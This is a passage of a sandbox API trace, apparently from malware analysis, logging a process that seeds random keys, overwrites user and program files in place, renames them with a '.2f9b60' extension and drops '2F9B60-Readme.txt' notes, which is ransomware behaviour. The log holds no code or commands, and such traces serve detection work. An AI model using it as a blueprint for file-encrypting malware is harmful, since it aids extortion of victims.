_Dest=0x1ce5e192, _Format="%c%c" | out: _Dest="f9") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e194, _Format="%c%c" | out: _Dest="0c") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e196, _Format="%c%c" | out: _Dest="69") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e198, _Format="%c%c" | out: _Dest="83") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e19a, _Format="%c%c" | out: _Dest="81") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e19c, _Format="%c%c" | out: _Dest="51") returned 2 [0209.080] sprintf (in: _Dest=0x1ce5e19e, _Format="%c%c" | out: _Dest="60") returned 2 [0209.080] RtlInitAnsiString (in: DestinationString=0x45e1fa28, SourceString="5cf7d8b83b443d4f54891212239ba89178f90c6983815160" | out: DestinationString="5cf7d8b83b443d4f54891212239ba89178f90c6983815160") [0209.080] RtlAnsiStringToUnicodeString (in: DestinationString=0x45e1f9f8, SourceString="5cf7d8b83b443d4f54891212239ba89178f90c6983815160", AllocateDestinationString=1 | out: DestinationString="5cf7d8b83b443d4f54891212239ba89178f90c6983815160") returned 0x0 [0209.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e97c0 [0209.081] wcscat (in: _Dest=0x431a8a50, _Source="5cf7d8b83b44" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\5cf7d8b83b44") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\5cf7d8b83b44" [0209.081] wcscat (in: _Dest=0x431a8a50, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\5cf7d8b83b44.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\5cf7d8b83b44.2f9b60" [0209.081] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\5cf7d8b83b44.2f9b60", NtPathName=0x45e1f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\5cf7d8b83b44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x42c21390 [0210.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21390) returned 1 [0210.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430acd60) returned 1 [0210.080] NtQueryInformationFile (in: FileHandle=0x1c10, IoStatusBlock=0x45e1fa38, FileInformation=0x45e1fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x45e1fa38, FileInformation=0x45e1fa48) returned 0x0 [0210.080] NtSetInformationFile (FileHandle=0x1c10, IoStatusBlock=0x45e1fa38, FileInformation=0x45e1fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a8a50) returned 1 [0215.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e97c0) returned 1 [0215.340] FlushFileBuffers (hFile=0x1c10) returned 1 [0215.350] CloseHandle (hObject=0x1c10) returned 1 [0217.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x169d50 [0217.690] wcscpy (in: _Dest=0x169d50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\" [0217.690] wcscat (in: _Dest=0x169d50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\2F9B60-Readme.txt" [0217.690] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\2f9b60-readme.txt")) returned 0xffffffff [0217.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3284 [0220.158] WriteFile (in: hFile=0x3284, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x45e1f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x45e1f8f0*=0xba9, lpOverlapped=0x0) returned 1 [0223.967] CloseHandle (hObject=0x3284) returned 1 [0225.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169d50) returned 1 [0225.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e680) returned 1 [0225.337] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0225.337] FindClose (in: hFindFile=0x1cd863d0 | out: hFindFile=0x1cd863d0) returned 1 [0225.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce567d0) returned 1 [0225.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 [0225.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798e90) returned 1 [0225.340] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x20502a10 | out: lpFindFileData=0x20502a10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0 [0225.340] FindClose (in: hFindFile=0x1cd86850 | out: hFindFile=0x1cd86850) returned 1 [0225.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502a10) returned 1 [0225.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfda0) returned 1 [0225.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced04a0) returned 1 [0225.390] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0225.390] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0225.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58ed0) returned 1 [0225.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0225.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 Thread: id = 2882 os_tid = 0xe38 [0166.880] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\brussels")) returned 0x20 [0166.880] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels", dwFileAttributes=0x20) returned 1 [0168.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\brussels"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e60 [0171.364] GetFileSizeEx (in: hFile=0x2e60, lpFileSize=0x4621fc20 | out: lpFileSize=0x4621fc20*=1564) returned 1 [0171.365] SetFilePointerEx (in: hFile=0x2e60, liDistanceToMove=0x618, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.365] ReadFile (in: hFile=0x2e60, lpBuffer=0x4621fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4621fbe8, lpOverlapped=0x0 | out: lpBuffer=0x4621fba0*, lpNumberOfBytesRead=0x4621fbe8*=0x4, lpOverlapped=0x0) returned 1 [0171.408] SetFilePointerEx (in: hFile=0x2e60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d4c0 [0171.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d760 [0171.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d7f0 [0171.409] NtQuerySystemTime (in: CurrentTime=0x4621fae0 | out: CurrentTime=0x4621fae0*=132462177765214000) returned 0x0 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x43f9a493 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x33c140b4 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x409e01f4 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x665a92dc [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x38d6442d [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x7c11b0b2 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x7b808798 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x3d466f21 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x6a94dcb3 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x49fa0c87 [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x6389d19d [0171.409] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0xc9748f3 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x1a6cdffa [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x4232ce42 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x39e72702 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x144ef472 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x17ff2207 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x6e199f31 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x6f730449 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x614ec438 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x79402ff7 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x3e54f7f1 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x7d8447b [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x7602f57b [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x338a6080 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x22d6f175 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x3097215e [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x45f41d02 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x700159f9 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x323c0ed [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x5a33e798 [0171.410] RtlRandomEx (in: Seed=0x4621fad0 | out: Seed=0x4621fad0) returned 0x4f530070 [0171.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d820 [0171.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0171.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d850 [0171.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0171.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d7f0) returned 1 [0171.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d4c0) returned 1 [0171.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0171.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0171.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d4c0 [0171.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d4c0) returned 1 [0171.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f9b4e0 [0171.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fd00b0 [0171.423] ReadFile (in: hFile=0x2e60, lpBuffer=0x41f9b4e0, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x4621fad0, lpOverlapped=0x0 | out: lpBuffer=0x41f9b4e0*, lpNumberOfBytesRead=0x4621fad0*=0x61c, lpOverlapped=0x0) returned 1 [0171.423] SetFilePointerEx (in: hFile=0x2e60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.424] WriteFile (in: hFile=0x2e60, lpBuffer=0x41fd00b0*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x4621fad4, lpOverlapped=0x0 | out: lpBuffer=0x41fd00b0*, lpNumberOfBytesWritten=0x4621fad4*=0x61c, lpOverlapped=0x0) returned 1 [0184.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9370 [0184.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9250 [0184.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9250) returned 1 [0184.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fd00b0) returned 1 [0184.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9b4e0) returned 1 [0184.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0184.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0184.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a9250 [0184.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0184.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ec0 [0184.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9280 [0184.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9280) returned 1 [0184.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202a9280 [0184.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0184.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c80 [0184.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c80) returned 1 [0184.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0184.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0184.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x4318e720 [0191.784] SetFilePointerEx (in: hFile=0x2e60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.784] WriteFile (in: hFile=0x2e60, lpBuffer=0x4318e720*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x4621fbf0, lpOverlapped=0x0 | out: lpBuffer=0x4318e720*, lpNumberOfBytesWritten=0x4621fbf0*=0x102, lpOverlapped=0x0) returned 1 [0206.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb1e0 [0206.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d7c0 [0206.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d7c0) returned 1 [0206.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d600 [0206.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d7c0 [0206.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d790 [0206.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d790) returned 1 [0206.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb1e0) returned 1 [0206.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c1d790 [0206.024] sprintf (in: _Dest=0x42c1d790, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d792, _Format="%c%c" | out: _Dest="95") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d794, _Format="%c%c" | out: _Dest="26") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d796, _Format="%c%c" | out: _Dest="f0") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d798, _Format="%c%c" | out: _Dest="b8") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d79a, _Format="%c%c" | out: _Dest="80") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d79c, _Format="%c%c" | out: _Dest="3a") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d79e, _Format="%c%c" | out: _Dest="51") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7a0, _Format="%c%c" | out: _Dest="84") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7a2, _Format="%c%c" | out: _Dest="80") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7a4, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7a6, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7a8, _Format="%c%c" | out: _Dest="ce") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7aa, _Format="%c%c" | out: _Dest="45") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7ac, _Format="%c%c" | out: _Dest="e4") returned 2 [0206.024] sprintf (in: _Dest=0x42c1d7ae, _Format="%c%c" | out: _Dest="d7") returned 2 [0206.024] RtlInitAnsiString (in: DestinationString=0x4621fc68, SourceString="c69526f0b8803a5184805ff6ce45e4d7" | out: DestinationString="c69526f0b8803a5184805ff6ce45e4d7") [0206.024] RtlAnsiStringToUnicodeString (in: DestinationString=0x4621fc38, SourceString="c69526f0b8803a5184805ff6ce45e4d7", AllocateDestinationString=1 | out: DestinationString="c69526f0b8803a5184805ff6ce45e4d7") returned 0x0 [0206.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce613d0 [0206.025] wcscat (in: _Dest=0x43154de0, _Source="c69526f0" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\c69526f0") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\c69526f0" [0206.025] wcscat (in: _Dest=0x43154de0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\c69526f0.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\c69526f0.2f9b60" [0206.025] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\c69526f0.2f9b60", NtPathName=0x4621fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\c69526f0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x43131dd0 [0237.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43131dd0) returned 1 [0237.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43226d20) returned 1 [0237.765] NtQueryInformationFile (in: FileHandle=0x2e60, IoStatusBlock=0x4621fc78, FileInformation=0x4621fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4621fc78, FileInformation=0x4621fc88) returned 0x0 [0237.765] NtSetInformationFile (FileHandle=0x2e60, IoStatusBlock=0x4621fc78, FileInformation=0x4621fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43154de0) returned 1 [0240.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce613d0) returned 1 [0240.305] FlushFileBuffers (hFile=0x2e60) returned 1 [0240.638] CloseHandle (hObject=0x2e60) returned 1 [0242.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431084f0 [0242.703] wcscpy (in: _Dest=0x431084f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0242.703] wcscat (in: _Dest=0x431084f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" [0242.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\2f9b60-readme.txt")) returned 0xffffffff [0243.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 2889 os_tid = 0x1b0c [0166.893] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\helsinki")) returned 0x20 [0166.893] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki", dwFileAttributes=0x20) returned 1 [0168.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Helsinki" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\helsinki"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2e48 [0171.257] GetFileSizeEx (in: hFile=0x2e48, lpFileSize=0x4688fae0 | out: lpFileSize=0x4688fae0*=1036) returned 1 [0171.257] SetFilePointerEx (in: hFile=0x2e48, liDistanceToMove=0x408, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.257] ReadFile (in: hFile=0x2e48, lpBuffer=0x4688fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4688faa8, lpOverlapped=0x0 | out: lpBuffer=0x4688fa60*, lpNumberOfBytesRead=0x4688faa8*=0x4, lpOverlapped=0x0) returned 1 [0171.282] SetFilePointerEx (in: hFile=0x2e48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d4c0 [0171.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d520 [0171.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d5b0 [0171.283] NtQuerySystemTime (in: CurrentTime=0x4688f9a0 | out: CurrentTime=0x4688f9a0*=132462177763966000) returned 0x0 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x3cfa8208 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xf258d18 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0xc14f9a5 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x29e9b292 [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x6281f02e [0171.283] RtlRandomEx (in: Seed=0x4688f990 | out: Seed=0x4688f990) returned 0x2fec5650 